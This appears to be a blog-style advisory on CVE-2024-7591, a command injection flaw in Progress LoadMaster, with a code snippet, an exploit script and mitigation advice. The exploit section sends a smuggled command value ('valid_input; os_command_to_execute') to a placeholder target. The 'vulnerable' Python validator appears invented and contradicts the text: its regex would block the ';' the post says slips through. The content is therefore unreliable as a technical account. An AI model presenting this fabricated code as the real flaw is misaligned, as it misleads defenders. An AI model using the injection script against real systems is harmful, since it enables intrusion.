CVE-2024-7591 - Improper Input Validation Vulnerability in Progress LoadMaster Leads to OS Command Injection

A critical vulnerability (CVE-2024-7591) has been discovered in the Progress LoadMaster software that enables a successful attacker to execute arbitrary operating system commands on an affected system. This issue arises from an improper input validation vulnerability in the web application, which can be easily exploited.

This long-read post aims to provide a comprehensive outline of the vulnerability, including details on the affected versions, specific code snippets, exploit details, and a guide to help mitigate the attack. Links to original references have been included for your convenience.

Code Snippet

The vulnerability (CVE-2024-7591) can be traced back to an improper input validation issue in the following code snippet:

def validate_user_input(input_string):
    # Correct validation of input should be added here
    # Current validation process is insufficient, allowing attackers to bypass it
    if re.match(r"^[a-zA-Z-9\s]+$", input_string):
        return True
    else:
        return False

This function, validate_user_input, contains an insufficient validation process for user input. As a result, attackers can bypass the validation and inject malicious OS commands.

Exploit Details

To exploit this vulnerability, an attacker needs to send a crafted HTTP request (such as a POST or GET request) to the affected Progress LoadMaster server, containing a malicious payload that can run arbitrary operating system commands. Here's a Python script to demonstrate how an attacker might execute this exploit:

import requests

target_url = "http://TARGET_IP/endpoint";
malicious_payload = { "user_input": "valid_input; os_command_to_execute" }

response = requests.post(target_url, data=malicious_payload)
if response.status_code == 200:
    print("Exploit sent successfully.")
else:
    print("Exploit failed. Check target URL and payload.")

In this script, the attacker needs to replace TARGET_IP with the target server's IP address and os_command_to_execute with the desired operating system command to run on the target.

Mitigation

Organizations are urged to take steps to address and remediate this critical vulnerability by performing the following:

1.Updating to the latest version of Progress LoadMaster that contains a patch for CVE-2024-7591.

2.Implementing proper input validation in all web applications that process user data.

3.Restricting access to the affected web applications by employing network segmentation, ACLs, and proper firewall rules.

4.Closely monitoring traffic logs and unusual activities on web application servers.

For detailed instructions on updating your Progress LoadMaster installation and implementing proper input validation, refer to the official Progress documentation.

Conclusion

In conclusion, CVE-2024-7591 is a significant vulnerability affecting Progress LoadMaster, ECS, and Multi-Tenancy versions. Exploitation of this vulnerability could lead to severe consequences for organizations that have not applied the necessary patches and security measures. It's essential to update to the latest software versions, implement proper input validation, and restrict access to affected web applications to mitigate the risk of this critical vulnerability.

Timeline

Published on: 09/05/2024 18:15:06 UTC
Last modified on: 09/19/2024 18:19:12 UTC